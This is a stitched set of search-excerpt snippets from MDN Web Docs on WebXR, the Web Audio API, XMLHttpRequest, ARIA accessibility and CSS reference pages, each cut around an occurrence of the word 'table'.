ar), the user sees the imagery you render presented on top of the physical, real-world environment around them. because ar is always an immersive experience, in which the scene is the entire world around the user (rather than being enclosed in a box on a screen), the only ar session mode is immersive-ar. the webxr augmented reality module is still in a state of early development and is not yet s
table enough for regular use. we do not yet include documentation for it here on mdn, but it will come as soon as the module's specification settles down. there are two basic types of ar device: devices which use cameras to capture the world in front of the user, render the webxr content atop that image, then display the image on a screen. these devices include phones, which show the resulting sce...
...ful than usual to ensure that the results are correct. virtual reality sickness virtual reality sickness is a condition in which a person experiencing virtual reality feels discomfort, disorientation, or even serious nausea during and sometimes for a short time after the experience. there are a number of theories surrounding exactly what about virtual reality causes some people to feel uncomfor
table or sick, most of which focusing on the idea that even subtle differences between what the brain thinks should be happening and what is being seen can cause these symptoms. defects, misalignments, or distortion can confuse the eyes and the brain, resulting in anything from aching eyes or headache to in some cases vertigo, dizziness, or potentially severe nausea. it's also important to be alert fo...
Starting up and shutting down a WebXR session - Web APIs
s in this article. accessing the webxr api your app's access to the webxr api begins with the xrsystem object. this object represents the overall webxr device suite available to you through the hardware and drivers available on the user's equipment. there is a global xrsystem object available for use by your document through the the navigator property xr, which returns the xrsystem object if sui
table xr hardware is available for your use given the hardware available and your document's environment. thus the simplest code that fetches the xrsystem object is: const xr = navigator.xr; the value of xr will be null or undefined if webxr isn't available. webxr availability as a new and still in development api, webxr support is limited to specific devices and browsers; and even on those, it ma...
...me mozilla firefox the source code for the extension is also available on github. emulator issues and notes while this isn't the place for a full article about the extension, there are some specific things worth mentioning. version 0.4.0 of the extension was announced on march 26, 2020. it introduced support for augmented reality (ar) through the webxr ar module, which has is approaching a s
table state. documentation for ar is forthcoming shortly here on mdn. other improvements include updating the emulator to rename the xr interface to xrsystem, introduce support for squeeze (grip) input sources, and add support for the xrinputsource property profiles. context requirements a webxr compatible environment starts with a securely-loaded document. your document needs to either have been lo...
Using IIR filters - Web APIs
racteristics of the filter. the downside is that this involves some complex maths. if you are looking to learn more there's some information about the maths behind iir filters here. this enters the realms of signal processing theory — don't worry if you look at it and feel like it's not for you. if you want to play with the iir filter node and need some values to help along the way, there's a
table of already calculated values here; on pages 4 & 5 of the linked pdf the an values refer to the feedforward values and the bn values refer to the feedback. musicdsp.org is also a great resource if you want to read more about different filters and how they are implemented digitally. with that all in mind, let's take a look at the code to create an iir filter with the web audio api. setting our ii...
...filter co-efficients when creating an iir filter, we pass in the feedforward and feedback coefficients as options (coefficients is how we describe the values). both of these parameters are arrays, neither of which can be larger than 20 items. when setting our coefficients, the feedforward values can't all be set to zero, otherwise nothing would be sent to the filter. something like this is accep
table: let feedforward = [0.00020298, 0.0004059599, 0.00020298]; our feedback values cannot start with zero, otherwise on the first pass nothing would be sent back: let feedbackward = [1.0126964558, -1.9991880801, 0.9873035442]; note: these values are calculated based on the lowpass filter specified in the filter characteristics of the web audio api specification. as this filter node gains more ...
Web Audio API - Web APIs
with audio or music terms, and as it incorporates a great deal of functionality it can prove difficult to get started if you are a developer. it can be used to simply incorporate audio into your website or application, by providing atmosphere like futurelibrary.no, or auditory feedback on forms. however, it can also be used to create advanced interactive instruments. with that in mind, it is sui
table for both developers and musicians alike. we have a simple introductory tutorial for those that are familiar with programming but need a good introduction to some of the terms and structure of the api. there's also a basic concepts behind web audio api article, to help you understand the way digital audio works, specifically in the realm of the api. this also includes a good introduction to some...
...an offlineaudiocontext is terminated. the complete event implements this interface. obsolete interfaces the following interfaces were defined in old versions of the web audio api spec, but are now obsolete and have been replaced by other interfaces. javascriptnode used for direct audio processing via javascript. this interface is obsolete, and has been replaced by scriptprocessornode. wave
tablenode used to define a periodic waveform. this interface is obsolete, and has been replaced by periodicwave. guides and tutorials advanced techniques: creating and sequencing audiowe've now got an instrument inside our browser! keep playing and experimenting — you can expand on any of these techniques to create something much more elaborate.background audio processing using audioworklett...
Window.requestFileSystem() - Web APIs
have decided that they will not implement it. it has even been removed from the proposed specification. do not use this method! syntax this method is prefixed with webkit in all browsers that implement it (that is, google chrome). window.requestfilesystem(type, size, successcallback[, errorcallback]); parameters type the type of storage to request. specify window.temporary if it's accep
table for the browser to delete the files at its own discretion, such as if storage space runs low, or window.persistent if you need the files to remain in place unless the user or the web site or app explicitly permit it. persistent storage requires that the user grant the site quota. size the amount of storage space you wish to have allocated for your app's use. successcallback a function which i...
...ate or access the file system. the callback receives as input a single parameter: a fileerror object describing the error. return value undefined example specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequestfilesystem experimentalnon-standardchrome ...
Window - Web APIs
ent can be obtained using the document.defaultview property. a global variable, window, representing the window in which the script is running, is exposed to javascript code. the window interface is home to a variety of functions, namespaces, objects, and constructors which are not necessarily directly associated with the concept of a user interface window. however, the window interface is a sui
table place to include these items that need to be globally available. many of these are documented in the javascript reference and the dom reference. in a tabbed browser, each tab is represented by its own window object; the global window seen by javascript code running within a given tab always represents the tab in which the code is running. that said, even in a tabbed browser, some properties and ...
...nts. window.crypto read only returns the browser crypto object. window.devicepixelratio read only returns the ratio between physical pixels and device independent pixels in the current display. window.document read only returns a reference to the document that the window contains. window.dommatrix read only returns a reference to a dommatrix object, which represents 4x4 matrices, sui
table for 2d and 3d operations. window.dommatrixreadonly read only returns a reference to a dommatrixreadonly object, which represents 4x4 matrices, sui
table for 2d and 3d operations. window.dompoint read only returns a reference to a dompoint object, which represents a 2d or 3d point in a coordinate system. window.dompointreadonly read only returns a reference to a dompointreadonly obje...
Using XMLHttpRequest - Web APIs
in the response var oreq = new xmlhttprequest(); oreq.addeventlistener("progress", updateprogress); oreq.addeventlistener("load", transfercomplete); oreq.addeventlistener("error", transferfailed); oreq.addeventlistener("abort", transfercanceled); oreq.open(); // ... // progress on transfers from the server to the client (downloads) function updateprogress (oevent) { if (oevent.lengthcompu
table) { var percentcomplete = oevent.loaded / oevent.total * 100; // ... } else { // unable to compute progress information since the total size is unknown } } function transfercomplete(evt) { console.log("the transfer is complete."); } function transferfailed(evt) { console.log("an error occurred while transferring the file."); } function transfercanceled(evt) { console.log("...
...sing xmlhttprequest. note: you need to add the event listeners before calling open() on the request. otherwise the progress events will not fire. the progress event handler, specified by the updateprogress() function in this example, receives the total number of bytes to transfer as well as the number of bytes transferred so far in the event's total and loaded fields. however, if the lengthcompu
table field is false, the total length is not known and will be zero. progress events exist for both download and upload transfers. the download events are fired on the xmlhttprequest object itself, as shown in the above sample. the upload events are fired on the xmlhttprequest.upload object, as shown below: var oreq = new xmlhttprequest(); oreq.upload.addeventlistener("progress", updateprogress); o...
XRPermissionDescriptor.optionalFeatures - Web APIs
mission to use them isn't available. while further features may be defined in future editions of webxr, currently all permitted values come from the xrreferencespacetype enumerated type, indicating reference spaces the app rquires to be available. the reference space returned by xrsession.requestreferencespace() is either xrreferencespace or xrboundedreferencespace. the "interface" column in the
table below indicates which of the two types is returned for each reference space type constant.. reference space descriptors the types of reference space are listed in the
table below, with brief information about their use cases and which interface is used to implement them. xrreferencespacetype description interface bounded-floor similar to the local type, except t...
...ative origin is located near the viewer's position at the time the session was created. the exact position depends on the underlying platform and implementation. the user isn't expected to move much if at all beyond their starting position, and tracking is optimized for this use case. for devices with six degrees of freedom (6dof) tracking, the local reference space tries to keep the origin s
table relative to the environment. xrreferencespace local-floor similar to the local type, except the starting position is placed in a safe location for the viewer to stand, where the value of the y axis is 0 at floor level. if that floor level isn't known, the user agent will estimate the floor level. if the estimated floor level is non-zero, the browser is expected to round it such...
XRPermissionDescriptor.requiredFeatures - Web APIs
at all features in the list are available for use with the user's permission. currently, all features are members of the xrreferencespacetype enumerated type, indicating the reference space types that your app would like permission to use, but can operate without. future editions of webxr may add more recognized features. the permitted values are: the types of reference space are listed in the
table below, with brief information about their use cases and which interface is used to implement them. xrreferencespacetype description interface bounded-floor similar to the local type, except the user is not expected to move outside a predetermined boundary, given by the boundsgeometry in the returned object. xrboundedreferencespace local a track...
...ative origin is located near the viewer's position at the time the session was created. the exact position depends on the underlying platform and implementation. the user isn't expected to move much if at all beyond their starting position, and tracking is optimized for this use case. for devices with six degrees of freedom (6dof) tracking, the local reference space tries to keep the origin s
table relative to the environment. xrreferencespace local-floor similar to the local type, except the starting position is placed in a safe location for the viewer to stand, where the value of the y axis is 0 at floor level. if that floor level isn't known, the user agent will estimate the floor level. if the estimated floor level is non-zero, the browser is expected to round it such...
XRPermissionStatus.granted - Web APIs
hich the permission api's navigator.permissions.query() method was called. syntax grantedfeatures = xrpermissionstatus.granted; value an array of domstring objects, each identifying a single webxr feature which the app or site has been granted permission to use. currently, all of these strings come from the xrreferencespacetype enumerated type. the types of reference space are listed in the
table below, with brief information about their use cases and which interface is used to implement them. xrreferencespacetype description interface bounded-floor similar to the local type, except the user is not expected to move outside a predetermined boundary, given by the boundsgeometry in the returned object. xrboundedreferencespace local a track...
...ative origin is located near the viewer's position at the time the session was created. the exact position depends on the underlying platform and implementation. the user isn't expected to move much if at all beyond their starting position, and tracking is optimized for this use case. for devices with six degrees of freedom (6dof) tracking, the local reference space tries to keep the origin s
table relative to the environment. xrreferencespace local-floor similar to the local type, except the starting position is placed in a safe location for the viewer to stand, where the value of the y axis is 0 at floor level. if that floor level isn't known, the user agent will estimate the floor level. if the estimated floor level is non-zero, the browser is expected to round it such...
XRReferenceSpaceType - Web APIs
the xrreferencespacetype enumerated type defines the strings which identify the types of reference spaces supported by webxr. this type is used when calling the requestreferencespace() method to obtain a reference space for an xrsession. values the reference space returned by xrsession.requestreferencespace() is either xrreferencespace or xrboundedreferencespace. the "interface" column in the
table below indicates which of the two types is returned for each reference space type constant.. reference space descriptors the types of reference space are listed in the
table below, with brief information about their use cases and which interface is used to implement them. xrreferencespacetype description interface bounded-floor similar to the local type, except th...
...ative origin is located near the viewer's position at the time the session was created. the exact position depends on the underlying platform and implementation. the user isn't expected to move much if at all beyond their starting position, and tracking is optimized for this use case. for devices with six degrees of freedom (6dof) tracking, the local reference space tries to keep the origin s
table relative to the environment. xrreferencespace local-floor similar to the local type, except the starting position is placed in a safe location for the viewer to stand, where the value of the y axis is 0 at floor level. if that floor level isn't known, the user agent will estimate the floor level. if the estimated floor level is non-zero, the browser is expected to round it such...
XRSession.environmentBlendMode - Web APIs
. this is used to differentiate between fully-immersive vr sessions and ar sessions which render over a pass-through image of the real world, possibly partially transparently. the value is a domstring which contains one of the values defined by the xrenvironmentblendmode enumerated type. important: environmentblendmode is part of the webxr augmented reality module, which has not yet reached a s
table state. you should use caution when using its features. syntax blendmode = xrsession.environmentblendmode; value a domstring whose value is one of the strings found in the enumerated type xrenvironmentblendmode, defining if—and if so, how—virtual, rendered content is overlaid atop the image of the real world. permitted values are: opaque the rendered image is drawn without allowing a...
...ecified are ignored and treated as if they were 1.0. alpha-blend used by headsets or goggles which use cameras to capture the real world and display it digitally on the screen or screens used to render the content for the user to see, this offers a way to create an ar presentation using a vr device. alpha blending can also be used by non-wearable devices that provide ar modes, such as phones or
tablets using cameras to capture the real world for use in ar apps. since the real world is being digitally presented, the brightness of each pixel can be controlled, whether it's reality or the rendered xr image, the user's environment can be blended with the virtual environment with each pixel having its color and brightness precisely controlled. in this mode, the xrsession's renderstate.baselayer p...
XRSession.requestReferenceSpace() - Web APIs
session.requestreferencespace(referencespacetype); parameters type a domstring specifying the type of reference space for which an instance is to be returned. the string must be one of those found in the xrreferencespacetype enumerated type. the reference space returned by xrsession.requestreferencespace() is either xrreferencespace or xrboundedreferencespace. the "interface" column in the
table below indicates which of the two types is returned for each reference space type constant.. reference space descriptors the types of reference space are listed in the
table below, with brief information about their use cases and which interface is used to implement them. xrreferencespacetype description interface bounded-floor similar to the local type, except t...
...ative origin is located near the viewer's position at the time the session was created. the exact position depends on the underlying platform and implementation. the user isn't expected to move much if at all beyond their starting position, and tracking is optimized for this use case. for devices with six degrees of freedom (6dof) tracking, the local reference space tries to keep the origin s
table relative to the environment. xrreferencespace local-floor similar to the local type, except the starting position is placed in a safe location for the viewer to stand, where the value of the y axis is 0 at floor level. if that floor level isn't known, the user agent will estimate the floor level. if the estimated floor level is non-zero, the browser is expected to round it such...
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
he xr device match. in any case, multiplying the recommended resolution as identified by the xrsession by this value will result in the actual native resolution of the xr hardware. the recommended webgl frame buffer resolution is the best possible estimate of the resolution necessary to contain all of fthe xrviews needed by the device while at the same time providing typical applications an accep
table balance of image quality and performance. for example, consider a device which uses a 2560x1440 pixel frame buffer (which is used to render two views, for the left and right eyes, side by side each at a resolution of 1280x1440 pixels). consider a frame buffer which at full size looks like this: if, on this device, it's determined that due to gpu limitations the browser needs to reduce image q...
...ample, consider a device which uses a 2560x1440 pixel frame buffer (which is used to render two views, for the left and right eyes, side by side each at a resolution of 1280x1440 pixels). consider a frame buffer which at full size looks like this: if, on this device, it's determined that due to gpu limitations the browser needs to reduce image quality in order to improve performance to an accep
table level, it might choose to halve the resolution. in this case, the value returned by xrwebgllayer.getnativeframebufferscalefactor() will be 2.0. this method of dividing the frame buffer between views is shown in the following diagram. now the width and height of the frame buffer are 50% what they were before, resulting in a total frame buffer size of 1280 by 720 pixels, with each eye's half of ...
Using the group role - Accessibility
description this technique demonstrates how to use the group role and describes the effect it has on browsers and assistive technology. the group role is used to identify a set of user interface objects which, in contrast with a region, are not intended to be included in a
table of contents or a page summary (such as the structures that are dynamically created by a script or assistive technologies); a group should not be considered a major perceivable section on a page. when the role is added to an element, the browser will send out an accessible group event to assistive technology products which can then notify the user about it. a group should be used to form a logical collection of items with related functionality, such as children in a tree widget forming a collection of siblings...
...a collection of items having the same container in a directory. however, when a group is used in the context of list, authors must limit its children to listitem elements. group elements may be nested. proper handling of a group by assistive technologies is determined by the context in which it is provided. if an author believes a section is significant enough to warrant inclusion in the page's
table of contents, they should assign the section a role of region or a standard landmark role. possible effects on user agents and assistive technology when the group role is added to an element, or such an element becomes visible, the user agent should do the following: expose the element as having a group role in the operating system's accessibility api. fire an accessible group event using ...
Using ARIA: Roles, states, and properties - Accessibility
ell, rowheader, columnheader roles) listbox (including option role) menu menubar radiogroup (see radio role) tablist (including tab and tabpanel roles) tree treegrid document structure roles application article cell columnheader definition directory document feed figure group heading img list listitem math none note presentation row rowgroup rowheader separator
table term textbox toolbar tooltip landmark roles banner complementary contentinfo form main navigation region search live region roles alert log marquee status timer window roles alertdialog dialog states and properties widget attributes aria-autocomplete aria-checked aria-current aria-disabled aria-errormessage aria-expanded aria-haspopup aria-hidde...
...ntinfo form main navigation region search live region roles alert log marquee status timer window roles alertdialog dialog states and properties widget attributes aria-autocomplete aria-checked aria-current aria-disabled aria-errormessage aria-expanded aria-haspopup aria-hidden aria-invalid aria-label aria-level aria-modal aria-multiline aria-multiselec
table aria-orientation aria-placeholder aria-pressed aria-readonly aria-required aria-selected aria-sort aria-valuemax aria-valuemin aria-valuenow aria-valuetext live region attributes aria-live aria-relevant aria-atomic aria-busy drag & drop attributes aria-dropeffect aria-dragged relationship attributes aria-activedescendant aria-colcount aria-colindex aria-cols...
How to file ARIA-related bugs - Accessibility
the state of aria technology has always depended on the community. if you notice an implementation issue, please take a little time and let the developers know. here's where to file bugs: when finding a bug, please also update the relevant compatibility
tables in the examples page. ...
... the state of aria technology has always depended on the community. if you notice an implementation issue, please take a little time and let the developers know. here's where to file bugs: when finding a bug, please also update the relevant compatibility
tables in the examples page. ...
An overview of accessible web applications and widgets - Accessibility
ed border around invalid data, or changing the background color of a checked checkbox), as well as showing or hiding content. state changes aria provides attributes for declaring the current state of a ui widget. ...
...role for an element that otherwise offers incorrect or no semantics. the role of an element should not change. instead, remove the original element and replace it with an element with the new role. for example, consider an "inline edit" widget: a component that allows users to edit a piece of text in place, without switching contexts. this component has a "view" mode, in which the text is not edi
table, but is activa
table, and an "edit" mode, in which the text can be edited. a developer might be tempted to implement the "view" mode using a read-only text <input> element and setting its aria role to button, then switching to "edit" mode by making the element wri
table and removing the role attribute in "edit" mode (since <input> elements have their own role semantics). do not do this. instead, ...
Accessibility Information for Web Authors - Accessibility
on 508 standards and/or the wcag guidelines. it can perform a "complete webpage quality check" for accessibility, privacy, searchability, metadata and even alt text attribute quality. the web author chooses the guidelines (as a basis for errors and warnings) to be used by "cynthia says™": section 508, wcag priorities 1, 2 and 3. the output data report is displayed in a clear and well structured
table where each and all checkpoints are identified and described (along with an helpful clickable link to the related reference guideline) into logical groups and according to measurable results: passed, warning, failed for automated verification, warning for manual verification, not selected, not available, not related, etc. accessibility valet from webthing description and summary to be written...
...ything is accessible within the firefox browser. this html advanced validator firefox extension is very resourceful and highly customizable. it's an extension add-on to firefox 2.x and firefox 3.x. it not only checks and reports possible markup errors and warnings (based on w3c tidy and/or based on true sgml validation) but it can also report accessibility errors and warnings according to selec
table accessibility guidelines (section 508, wcag priorities 1, 2 or 3). its accessibility report is viewable in the view source window (view > source code ctrl+u or right-click on the status bar). two panes are added at the bottom of the view source code window: the left pane contains the errors and warnings (with their correspondent line number) and the right pane identifies the checkpoint along with...
Operable - Accessibility
ilable from a keyboard. guideline 2.2 — enough time: provide users enough time to read and use content this guideline covers situations in which functionality may have a time limit. for example, purchases sometimes need to be completed within a time limit for security reasons. success criteria how to conform to the criteria practical resource 2.2.1 timing is adjus
table (a) for functionality with time limits (e.g. completing a hotel or flight booking often has a time limit), the user should be given controls to allow them to adjust, extend or turn off the time limit. exceptions to this are activities with time limits longer than 20 hours, real time events (e.g. live multiplayer games), and any other activity that requires a time limit and would be i...
... with conditions such as epilepsy or could cause physical reactions (like dizziness) for users with conditions such as vestibular disorders. success criteria how to conform to the criteria practical resource 2.3.1 three flashes, or below threshold (a) content doesn't contain any aspect that flashes more than three times per second, or flashing content is below accep
table flash and red flash thresholds. 2.3.2 three flashes (aaa) content doesn't contain any aspect that flashes more than three times per second. 2.3.3 animations from interactions (aaa) added in 2.1 allow users to disable animations from interactions (unless the animation is essential). understanding animations from interactions note: also see the wcag descr...
::first-letter (:first-letter) - CSS: Cascading Style Sheets
/* selects the first letter of a <p> */ p::first-letter { font-size: 130%; } the first letter of an element is not always trivial to identify: punctuation that precedes or immediately follows the first letter is included in the match. punctuation includes any unicode character defined in the open (ps), close (pe), initial quote (pi), final quote (pf), and other punctuation (po) classes. ...
...cludes any unicode character defined in the open (ps), close (pe), initial quote (pi), final quote (pf), and other punctuation (po) classes. some languages have digraphs that are always capitalized together, like the ij in dutch. in these cases, both letters of the digraph should be matched by the ::first-letter pseudo-element. (this is poorly supported by browsers; see the browser compatibility
table below.) a combination of the ::before pseudo-element and the content property may inject some text at the beginning of the element. in that case, ::first-letter will match the first letter of this generated content. css3 introduced the ::first-letter notation (with two colons) to distinguish pseudo-classes from pseudo-elements. browsers also accept :first-letter, introduced in css2. allowab...
:nth-child() - CSS: Cascading Style Sheets
:nth-child(7) represents the seventh element. :nth-child(5n) represents elements 5 [=5×1], 10 [=5×2], 15 [=5×3], etc. the first one to be returned as a result of the formula is 0 [=5x0], resulting in a no-match, since the elements are indexed from 1, whereas n starts from 0. thi...
... :nth-child(7) represents the seventh element. ...
@media - CSS: Cascading Style Sheets
*/ @supports (display: flex) { @media screen and (min-width: 900px) { article { display: flex; } } } for a discussion of media query syntax, please see using media queries. description media types media types describe the general category of a device. except when using the not or only logical operators, the media type is optional and the all type will be implied. all sui
table for all devices. print intended for paged material and documents viewed on a screen in print preview mode. (please see paged media for information about formatting issues that are specific to these formats.) screen intended primarily for screens. speech intended for speech synthesizers. deprecated media types: css2.1 and media queries 3 defined several additional media types (tty, tv, pro...
... aspect-ratio width-to-height aspect ratio of the viewport color number of bits per color component of the output device, or zero if the device isn't color color-gamut approximate range of colors that are supported by the user agent and output device added in media queries level 4. color-index number of entries in the output device's color lookup
table, or zero if the device does not use such a
table device-aspect-ratio width-to-height aspect ratio of the output device deprecated in media queries level 4. device-height height of the rendering surface of the output device deprecated in media queries level 4. device-width width of the rendering surface of the output device deprecated in media...
CSS Box Alignment - CSS: Cascading Style Sheets
the css box alignment module specifies css features that relate to the alignment of boxes in the various css box layout models: block layout,
table layout, flex layout, and grid layout. the module aims to create a consistent method of alignment across all of css. this document details the general concepts found in the specification. note: the documentation for each layout method will detail how box alignment is applied there. older alignment methods css traditionally had very limited alignment capabilities. we were able to align text using text-align, center blocks using auto margins, and in
table or inline-block layouts using the vertical-align property. alignment of text is now covered by the inline layout and css text modules, and for the first time in box alignment we have full horizo...
...ignment properties as the css box alignment properties are implemented differently depending on the specification they interact with, refer to the following pages for each layout type for details of how to use the alignment properties with it: box alignment in flexbox box alignment in css grid layout box alignment in multiple-column layout box alignment for block, absolutely positioned and
table layout reference css properties justify-content align-content place-content justify-items align-items place-items justify-self align-self place-self row-gap column-gap gap glossary entries cross axis main axis alignment container alignment subject fallback alignment guides css flexbox guide: basic concepts of flexbox css flexbox guide: aligning items in a flex ...
OpenType font features guide - CSS: Cascading Style Sheets
polished: ligatures like 'ff' or 'fi' make letter spacing and reading more even and smooth. fractions can make home improvement and recipe sites much easier to read and understand. numerals within paragraphs of text set as 'oldstyle' sit more comfortably between lower-case letters, and likewise setting them as 'tabular numbers' will make them line up better when setting a list of costs in a
table say. 'lining' figures on the other hand sit more uniformly on their own or in front of capitalized words. while none of these features individually will render a site useless due to their absence, each of them in turn can make a site easier to use and more memorable for its attention to detail. opentype features are like secret compartments in fonts. unlock them and you'll find ways to make f...
...cenders and descenders like other lower case letters. these are designed to be used inline with copy so the numerals visually blend with the surrounding glyphs in a similar fashion to small caps. there is also the notion of spacing. proportional spacing is the normal setting, whereas tabular spacing lines up numerals evenly regardless of character width, making it more appropriate for lining up
tables of numbers in financial
tables. there are two types of fractions supported through this property: diagonal slashed fractions. vertically stacked fractions. ordinals are also supported (such as '1st' or '3rd'), as is a slashed zero if present in the font. lining and oldstyle figures fractions, ordinals, and slashed zero east asian (font-variant-east-asian) this allows access to var...
CSS Grid Layout - CSS: Cascading Style Sheets
for example, a grid container's child elements could position themselves so they actually overlap and layer, similar to css positioned elements. ...
...for example, a grid container's child elements could position themselves so they actually overlap and layer, similar to css positioned elements. ...
Using CSS transitions - CSS: Cascading Style Sheets
will last (by setting a duration), and how the transition will run (by defining a timing function, e.g. linearly or quick at the beginning, slow at the end). which css properties can be transitioned? the web author can define which property has to be animated and in which way. this allows the creation of complex transitions. as it doesn't make sense to animate some properties, the list of anima
table properties is limited to a finite set. note: the set of properties that can be animated is changing as the specification develops. the auto value is often a very complex case. the specification recommends not animating from and to auto. some user agents, like those based on gecko, implement this requirement and others, like those based on webkit, are less strict. using animations with auto may ...
...imited to a finite set. note: the set of properties that can be animated is changing as the specification develops. the auto value is often a very complex case. the specification recommends not animating from and to auto. some user agents, like those based on gecko, implement this requirement and others, like those based on webkit, are less strict. using animations with auto may lead to unpredic
table results, depending on the browser and its version, and should be avoided. defining transitions css transitions are controlled using the shorthand transition property. this is the best way to configure transitions, as it makes it easier to avoid out of sync parameters, which can be very frustrating to have to spend lots of time debugging in css. you can control the individual components of the ...
CSS reference - CSS: Cascading Style Sheets
snap-alignscroll-snap-stopscroll-snap-typescrollbar-colorscrollbar-width::selectionselector()sepia()<shape>shape-image-thresholdshape-marginshape-outsidesize (@page)skew()skewx()skewy()::slottedspeak-as (@counter-style)src (@font-face)steps()<string>@stylesetstyleset()@stylisticstylistic()suffix (@counter-style)@supports@swashswash()symbols (@counter-style)symbols()system (@counter-style)ttab-size
table-layout:targettarget-counter()target-counters()target-text()text-aligntext-align-lasttext-combine-uprighttext-decorationtext-decoration-colortext-decoration-linetext-decoration-skip-inktext-decoration-styletext-decoration-thicknesstext-emphasistext-emphasis-colortext-emphasis-positiontext-emphasis-styletext-indenttext-justifytext-orientationtext-overflowtext-renderingtext-shadowtext-transformtext-...
...y before—the element selected by b. child combinator a > b specifies that the element selected by b is the direct child of the element selected by a. descendant combinator a b specifies that the element selected by b is a descendant of the element selected by a, but is not necessarily a direct child. column combinator a || b specifies that the element selected by b is located within the
table column specified by a. elements which span multiple columns are considered to be a member of all of those columns. pseudo pseudo classes : specifies a special state of the selected element(s). pseudo elements :: represents entities that are not included in html. see also: selectors in the selectors level 4 specification. concepts syntax and semantics css syntax at-rules cascade...
Viewport concepts - CSS: Cascading Style Sheets
owser is in fullscreen mode, the viewport is the entire screen. in fullscreen mode, the viewport is the device screen, the window is the browser window, which can be as big as the viewport or smaller, and the document is the website, which can be much taller or wider than the viewport. to recap, the viewport is basically the part of the document that is currently visible. viewport sizes are mu
table the width of the viewport is not always the width of the window. if you query the width or height of the window and document in chrome or firefox, you may get: document.documentelement.clientwidth /* 1200 */ window.innerwidth /* 1200 */ window.outerwidth /* 1200 */ document.documentelement.clientheight /* 800 */ window.innerheight /* 800 */ window.outerheight /* 900 */ there are several dom...
...ers or footers, with the following styles, will stick to the top and bottom of the layout viewport respectively. body > header { position: fixed; top: 0; } body > footer { position: fixed; bottom: 0; } we got the 800 x 533 measurement when we zoomed in using the keyboard. the header and footer stayed flush against the top and bottom of the window. but what if we had pinched-zoomed on a
tablet? what if a dynamic keyboard pops open on a phone? the web contains two viewports, the layout viewport and the visual viewport. the visual viewport is the part of the web page that is currently visible in the browser and can change. when the user pinch-zooms the page, pops open a dynamic keyboard, or when a previously hidden address bar becomes visible, the visual viewport shrinks but the layout...
Visual formatting model - CSS: Cascading Style Sheets
independently in the way the <em> can; they just inherit the styles of their container. other formatting contexts also create anonymous boxes. grid layout behaves in the same way as the flexbox example above, turning strings of text into a grid item with an anonymous box. multiple-column layout creates anonymous column boxes around the columns; these also cannot be styled or otherwise targetted.
table layout will add anonymous boxes to create a proper
table structure — for example adding an anonymous
table row — if there was no box with display:
table-row. line boxes line boxes are the boxes that wrap each line of text. you can see the difference between line boxes and their containing block if you float an item and then follow it by a block that has a background color. in the following...
...lock formatting context, however, the children behave as flex or grid items rather than items in normal flow. the interactions between block-level and inline-level boxes are described in the mdn documentation for display. in addition, the references for specific values of display explain how these formatting contexts work in terms of box layout. css grid layout css flexible box layout css
table layout lists independent formatting contexts elements either participate in the formating context of their containing block or establish an independent formatting context. a grid container, for example, establishes a new grid formatting context for its children. independent formatting contexts contain floats, and margins do not collapse across formatting context boundaries. therefore, creati...
align-self - CSS: Cascading Style Sheets
ign-items value. in grid, it aligns the item inside the grid area. in flexbox, it aligns the item on the cross axis. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the property doesn't apply to block-level boxes, or to
table cells. if a flexbox item's cross-axis margin is auto, then align-self is ignored. syntax /* keyword values */ align-self: auto; align-self: normal; /* positional alignment */ /* align-self does not take left and right values */ align-self: center; /* put the item around the center */ align-self: start; /* put the item at the start */ align-self: end; /* put the item at the end */ align-self: s...
...ther absolutely-positioned boxes. in static position of absolutely-positioned layouts, the keyword behaves as stretch. for flex items, the keyword behaves as stretch. for grid items, this keyword leads to a behavior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start. the property doesn't apply to block-level boxes, and to
table cells. self-start aligns the items to be flush with the edge of the alignment container corresponding to the item's start side in the cross axis. self-end aligns the items to be flush with the edge of the alignment container corresponding to the item's end side in the cross axis. flex-start the cross-start margin edge of the flex item is flushed with the cross-start edge of the line. f...
aspect-ratio - CSS: Cascading Style Sheets
o. size calculations involving intrinsic aspect ratio always work with the content box dimensions. <ratio> the box’s preferred aspect ratio is the specified ratio of width / height. size calculations involving preferred aspect ratio work with the dimensions of the box specified by box-sizing. formal definition initial valueautoapplies toall elements except inline boxes and internal ruby or
table boxesinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | <ratio> examples mapping width and height to aspect-ratio firefox has added an internal aspect-ratio property (in version 69 onwards) that applies to replaced elements and other related elements that accept width and height attributes. this appears in the browser's internal ua stylesheet. chrome is also shi...
...io firefox has added an internal aspect-ratio property (in version 69 onwards) that applies to replaced elements and other related elements that accept width and height attributes. this appears in the browser's internal ua stylesheet. chrome is also shipping this feature. in firefox, the internal stylesheet rule looks like this: img, input[type="image"], video, embed, iframe, marquee, object,
table { aspect-ratio: attr(width) / attr(height); } specifications specification status comment css box sizing module level 4the definition of 'aspect-ratio' in that specification. editor's draft initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please ch...
background-position - CSS: Cascading Style Sheets
] && [ center | [ top | bottom ] <length-percentage>? ] ]where <length-percentage>...
...finition to match implementations. css level 2 (revision 1)the definition of 'background-position' in that specification. recommendation allows for keyword values and <length> and <percentage> values to be mixed. css level 1the definition of 'background-position' in that specification. recommendation initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbackground-positionchrome full support ...
background - CSS: Cascading Style Sheets
| <repeat-style> | <attachment> | <box> | <box><final-bg-layer> = <'background-color'> | <bg-image>...
...| <repeat-style> | <attachment> | <box> | <box><final-bg-layer> = <'background-color'> | <bg-image> | <bg-position> [ / <bg-size> ]? | <repeat-style> | <attachment> | <box> | <b...
border-bottom-style - CSS: Cascading Style Sheets
rd chosen from those available for the border-style property. formal definition initial valuenoneapplies toall elements. ...
...demonstrating all border styles html <
